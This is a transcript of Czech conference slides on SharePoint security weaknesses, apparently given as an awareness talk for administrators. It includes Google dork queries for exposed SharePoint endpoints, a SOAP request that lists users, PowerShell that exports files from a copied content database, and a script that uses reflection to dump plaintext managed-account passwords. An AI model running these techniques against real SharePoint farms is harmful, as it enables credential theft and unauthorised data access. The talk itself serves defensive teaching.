SHAREPOINT HACKING, ANEB JAK PŘIJÍT K SHAREPOINT DATŮM?

Transkript

1 SHAREPOINT HACKING, ANEB JAK PŘIJÍT K SHAREPOINT DATŮM? KAMIL JUŘÍK SHAREPOINT MVP, CTO ACCELAPPS

2 SHAREPOINT HACKING? SharePoint zranitelnosti SharePoint Google hacking SharePoint Shodan BLOB cache SQL DB SharePoint PowerShell Data Export Site Collection Admin, Web Application Policy, Farm Admin Kdo je váš Farm Admin? Vychytané nástroje 3. stran (Simego, AxioWorks )

3 SHAREPOINT ZRANITELNOSTI

4 SHAREPOINT PUBLIC SITES A GOOGLE HACKING? ANEB ZÁBAVA NA VOLNÉ VEČERY, MNOHDY VELMI ZAJÍMAVÉ ČTENÍ! "all site content" site:.com filetype:aspx "/_vti_bin/lists.asmx" filetype:asmx "/_layouts/settings.aspx" filetype:aspx "/_vti_bin/permissions.asmx" filetype:asmx SharePoint "/_vti_bin/userprofileservice.asmx" filetype:asmx atd. atd.

5 PŘÍKLAD: POST NA USERGROUP.ASMX POST /sites/web/_vti_bin/usergroup.asmx HTTP/1.1 POST /sites/web/_vti_bin/usergroup.asmx HTTP/1.1 Host: host [ ] <?xml version="1.0" encoding="utf-8"?> <soap:envelope xmlns:soap=" <soap:body> <GetUserCollectionFromSite xmlns=" /> </soap:body> </soap:envelope> Výsledek:

6 SHAREPOINT A SHODAN ANEB ZÁBAVA NA VOLNÉ VEČERY, MNOHDY VELMI ZAJÍMAVÉ ČTENÍ!

7 SHAREPOINT BLOB CACHE SharePoint web.config: <BlobCache location="c:\blobcache\14" path="\. (gif jpg jpeg jpe jfif bmp dib tif tiff themedbmp themedcss themed gif themedjpg themedpng ico png wdp hdp css js asf avi flv m4v mov mp3 mp4 mpeg mpg rm rmvb wma wmv ogg ogv oga webm xap)$" maxsize="10" enabled="false" />

8 SHAREPOINT SQL DBs Kdo má přístup k databázím v SQL? Zdaleka to není jen SQL Admin Když si vezmu nějakou Vaši SharePoint SQL Content DB, co vše mám? Kolik obsahových DBs máte? Jednu? A kde takovou DB mohu otevřít?

9 SHAREPOINT POWERSHELL DATA EXPORT $db = Get-SPContentDatabase -ConnectAsUnattachedDatabase -DatabaseServer SHPDB -DatabaseName "SHP_PRD_Content_RestoredCopy $site = Get-SPSite -ContentDatabase $db? {$_.Url -eq $SiteURL} $binary = $item.file.openbinary() $stream = New-Object System.IO.FileStream(($SaveLocation + $DocName), [System.IO.FileMode]::Create) $writer = New-Object System.IO.BinaryWriter($stream) $writer.write($binary) $writer.close()

10 SHAREPOINT A ADMIN OPRÁVNĚNÍ? Farm Admins Web Application users Site Collection Admins Site (web) permissions

11 SHAREPOINT A HESLA function Bindings() { return [System.Reflection.BindingFlags]::CreateInstance -bor [System.Reflection.BindingFlags]::GetField -bor [System.Reflection.BindingFlags]::Instance -bor [System.Reflection.BindingFlags]::NonPublic } function GetFieldValue([object]$o, [string]$fieldname) { $bindings = Bindings return $o.gettype().getfield($fieldname, $bindings).getvalue($o); } function ConvertTo-UnsecureString([System.Security.SecureString]$string) { $intptr = [System.IntPtr]::Zero $unmanagedstring = [System.Runtime.InteropServices.Marshal]::SecureStringToGlobalAllocUnicode($string) $unsecurestring = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($unmanagedString) [System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($unmanagedString) return $unsecurestring } Get-SPManagedAccount select Expression={ConvertTo-UnsecureString (GetFieldValue $_ "m_password").securestringvalue}}

12 SHAREPOINT REPLIKACE DO SQL

13 DĚKUJI ZA POZORNOST PTEJTE SE, PROSÍM